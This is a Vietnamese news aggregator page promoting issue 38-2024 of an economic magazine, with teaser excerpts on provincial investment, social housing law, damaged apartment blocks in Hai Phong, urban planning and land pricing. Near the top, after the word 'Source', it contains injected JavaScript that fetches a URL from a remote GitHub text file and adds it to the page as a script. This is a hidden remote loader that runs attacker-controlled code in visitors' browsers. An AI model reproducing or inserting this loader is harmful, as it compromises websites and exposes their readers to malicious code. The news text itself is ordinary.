Tác giả: Nguyễn Thị Mỹ Hiền

Đón đọc Tạp chí Kinh tế Việt Nam số 38-2024 - Nhịp sống kinh tế Việt Nam & Thế giới Source;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});

Tỉnh Long An với vị trí chiến lược, đô thị hóa nhanh, hạ tầng phát triển mạnh mẽ, chỉ số năng lực cạnh tranh cấp tỉnh (PCI) năm 2023 đứng thứ 2 cả nước với 70,94 điểm, chỉ sau Quảng Ninh (71,25 điểm và 7 năm liên tiếp là quán quân) đang nắm giữ những lợi thế về phát triển công nghiệp – dịch vụ, thu hút FDI và vị trí địa lý kết nối liên vùng thuận lợi. DOANH NGHIỆP HÀN QUỐC MỞ RỘNG ĐẦU TƯ TẠI VIỆT NAM Vừa qua, tập đoàn CW Wind (Hàn Quốc) đã quyết định chọn Long An là địa phương thứ hai, sau Bà Rịa – Vũng Tàu để mở rộng đầu tư tại Việt Nam trong lĩnh vực thiết bị điện gió. Với hệ thống quản lý sản xuất và chất lượng mạnh mẽ cùng chuyên môn quản lý toàn cầu sâu rộng, CS Wind cung cấp hơn 13.000 tháp gió cho các nhà sản xuất tua-bin gió hàng đầu thế giới...

Tại tọa đàm: “Phát triển nhà ở xã hội trong bối cảnh chính sách mới” do Báo Đại biểu Nhân dân tổ chức, chuyên gia nhận định Luật Nhà ở 2023 có hiệu lực từ 1/8/2024 và Nghị định 100/2024/NĐ-CP quy định chi tiết một số điều của Luật Nhà ở về phát triển và quản lý nhà ở xã hội, với nhiều điểm mới đã cơ bản tháo gỡ các nút thắt, giúp khắc phục và hạn chế bất cập trong thực tiễn phát triển và quản lý nhà ở xã hội. DÀNH MỘT CHƯƠNG QUY ĐỊNH VỀ TRÌNH TỰ THỦ TỤC Ông Hà Quang Hưng, Phó cục trưởng Cục Phát triển nhà ở và thị trường bất động sản (Bộ Xây dựng), cho biết hiện nay, Nghị định 100/2024/NĐ-CP có dành hẳn một chương quy định về trình tự thủ tục. Trong đó, hướng dẫn rất cụ thể các bước đầu tư dự án nhà ở xã hội, từ xây dựng, đề xuất chủ trương, phê duyệt quy hoạch, chấp thuận chủ trương đầu...

Ngày 15/9, UBND TP. Hải Phòng cho biết Chủ tịch thành phố đã chỉ đạo quận Ngô Quyền chủ trì, phối hợp với các cơ quan, đơn vị liên quan xây dựng tổ chức di chuyển tài sản của các hộ dân tại các căn hộ thuộc 2 toà chung cư cũ A7, A8 để đảm bảo an toàn cho người dân do các toà chung cư cấp độ D này bị lún nghiêng sau bão số 3. Theo đó, Chủ tịch UBND TP. Hải Phòng đã chủ trì cuộc họp nghe báo cáo về việc di chuyển tài sản của các hộ dân tại các toà chung cư A7, A8 phường Vạn Mỹ (quận Ngô Quyền) do ảnh hưởng của cơn bão số 3. Sau khi nghe UBND quận Ngô Quyền báo cáo và ý kiến tham gia của các cơ quan, đơn vị liên quan, Chủ tịch UBND thành phố kết luận các chung cư cũ A7, A8 phường Vạn Mỹ, quận Ngô Quyền đã được kiểm định đánh giá cấp độ D, thuộc trường hợp công trình nguy hiểm, có thể sập đổ ...

NHỮNG CHỦ NHÂN MỚI TẠI ĐÔ THỊ VỆ TINH CỬA NGÕ THỦ ĐÔ Nằm ở cửa ngõ phía Nam Thủ đô, nơi quốc lộ 1A, cao tốc Bắc Nam và tuyến đường sắt Bắc Nam đi qua, thành phố Phủ Lý (Hà Nam) sở hữu những điều kiện thuận lợi để trở thành đô thị vệ tinh hàng đầu phía Nam Hà Nội. Thậm chí, hiếm “đô thị vệ tinh” nào của Thủ đô sở hữu lợi thế giao điểm 3 dòng sông lớn như Hà Nam (nơi gặp gỡ của sông Nhuệ, sông Châu và sông Đáy), tâm điểm của các tuyến giao thông huyết mạch: cao tốc, sân bay, đường sắt. Mới đây, Phủ Lý còn đón nhận sự xuất hiện của đại dự án Đô thị thời đại Sun Urban City với quy mô lên đến 420ha, mật độ xây dựng chỉ 18% cùng hệ thống tiện ích đẳng cấp, được kỳ vọng mang đến không gian sống lý tưởng cho cư dân. Dự án được đánh giá là bước ngoặt đột phá cho hạ tầng đô thị Phủ Lý nói riêng v...

Phó Thủ tướng Trần Hồng Hà vừa ký Quyết định 968/QĐ-TTg (ngày 12/9/2024) ban hành Kế hoạch thực hiện quy hoạch tỉnh Bạc Liêu thời kỳ 2021 - 2030, tầm nhìn đến năm 2050 (Kế hoạch 968). Kế hoạch nhằm triển khai thực hiện có hiệu quả Quyết định số 1598/QĐ-TTg ngày (08/12/2023) của Thủ tướng Chính phủ về phê duyệt Quy hoạch tỉnh Bạc Liêu thời kỳ 2021 - 2030, tầm nhìn đến năm 2050 (Quy hoạch tỉnh). ĐẨY MẠNH LIÊN KẾT VÙNG Theo Kế hoạch 968, cần hoàn thiện đồng bộ hệ thống các quy hoạch. Cụ thể, đến năm 2025: rà soát, lập, điều chỉnh các quy hoạch đô thị, nông thôn, quy hoạch xây dựng vùng huyện, quy hoạch sử dụng đất cấp huyện, các quy hoạch có tính chất kỹ thuật, chuyên ngành trên địa bàn tỉnh Bạc Liêu theo quy định của pháp luật, đảm bảo thống nhất, đồng bộ với Quy hoạch tỉnh đã được phê du...

Theo đại diện đơn vị tư vấn (Viện Quy hoạch đô thị và nông thôn quốc gia - VIUP), phạm vi nghiên cứu quy hoạch bao gồm toàn bộ thị trấn Chư Ty, các xã Ia Kla, Ia Dom, Ia Nan, Ia Pnôn thuộc huyện Đức Cơ, tỉnh Gia Lai, tổng diện tích tự nhiên là 415,15km2. Mục tiêu quy hoạch nhằm cụ thể hóa quy hoạch xây dựng vùng biên giới Việt Nam - Campuchia, Quy hoạch xây dựng vùng Tây Nguyên, Quy hoạch kinh tế xã hội tỉnh Gia Lai và các quy hoạch chuyên ngành khác đã được Thủ tướng Chính phủ phê duyệt; khai thác tiềm năng lợi thế vùng phía Tây tỉnh Gia Lai; xây dựng Khu kinh tế cửa khẩu quốc tế Lệ Thanh thành một vùng kinh tế động lực của tỉnh Gia Lai. Khu kinh tế cửa khẩu Lệ Thanh được quy hoạch với tính chất là khu kinh tế tổng hợp đa ngành, đa lĩnh v...

Báo cáo về chỉ số minh bạch bất động sản toàn cầu (GRETI) của JLL và LaSalle (công bố hai năm một lần) đánh giá tính minh bạch của bất động sản đang trở nên quan trọng trong thời điểm có nhiều bất ổn; và những thị trường mới nổi minh bạch nhất cũng ngày càng phát triển.  SINGAPORE LẦN ĐẦU TIÊN LỌT VÀO NHÓM "MINH BẠCH CAO" Theo nghiên cứu của Công ty Tư vấn bất động sản toàn cầu Jones Lang Lasalle (JLL), tính minh bạch đã tăng ở hầu hết các quốc gia và vùng lãnh thổ kể từ báo cáo năm 2022, nhưng chỉ số này cho thấy châu Âu vẫn là khu vực minh bạch nhất, và thị trường bất động sản thương mại với tính minh bạch nổi trội đang chứng kiến sự phát triển mạnh mẽ. Trong số quốc gia cải thiện hàng đầu có Hoa Kỳ, Canada, Pháp, Úc. Đặc biệt còn cả Singapore lần đầu tiên lọt vào nhóm “minh bạch cao”…...

Theo ghi nhận của nhiều đơn vị nghiên cứu bất động sản, các vướng mắc nảy sinh cơ bản là do hầu hết văn bản hướng dẫn thuộc thẩm quyền của địa phương chưa được ban hành; nhiều cán bộ chuyên trách chưa nắm luật, chưa được tham gia các chương trình phổ biến, tập huấn về các quy định mới. Từ đó, ảnh hưởng rất lớn đến việc triển khai các luật khi nhiều nội dung quan trọng đã được phân cấp cho chính quyền địa phương. NGUY CƠ TIỀM ẨN VỚI THỊ TRƯỜNG BẤT ĐỘNG SẢN Một vướng mắc lớn đang gây ách tắc cho quá trình thực hiện luật là vướng mắc liên quan tới việc điều chỉnh bảng giá đất. “Mặc dù Bộ Tài nguyên  & Môi trường, Bộ Tài chính đã có văn bản hướng dẫn nhưng gần như chỉ lặp lại nội dung của khoản 1 Điều 257 Luật Đất đai 2024, nên vẫn chưa tháo gỡ được vướng mắc của các địa phương trong việc t...

Theo Quyết định số 55/2024/QĐ-UBND, các yếu tố ảnh hưởng đến giá đất, các tiêu chí hình thành yếu tố ảnh hưởng đến giá đất để phân tích, xác định mức tương đồng nhất định, điều chỉnh của từng yếu tố ảnh hưởng đến giá đất giữa tài sản định giá và tài sản so sánh đối với đất phi nông nghiệp, gồm: Vị trí, địa điểm của thửa đất, khu đất: Khoảng cách theo thứ tự ưu tiên đến trung tâm hành chính, trung tâm thương mại, giáo dục và đào tạo, công viên, khu vui chơi giải trí, chợ, cơ sở y tế (theo vị trí, hiện trạng của dự án, khu đất, thửa đất); mức điều chỉnh chênh lệch không quá 5%; Giá đất theo Bảng giá đất của Thành phố (theo vị trí của dự án, khu đất, thửa đất), mức điều chỉnh chênh lệch không quá 15%. Điều kiện về giao thông: Loại đường (kết cấu đường nhựa, bê tông, đất và kết cấu đường khá...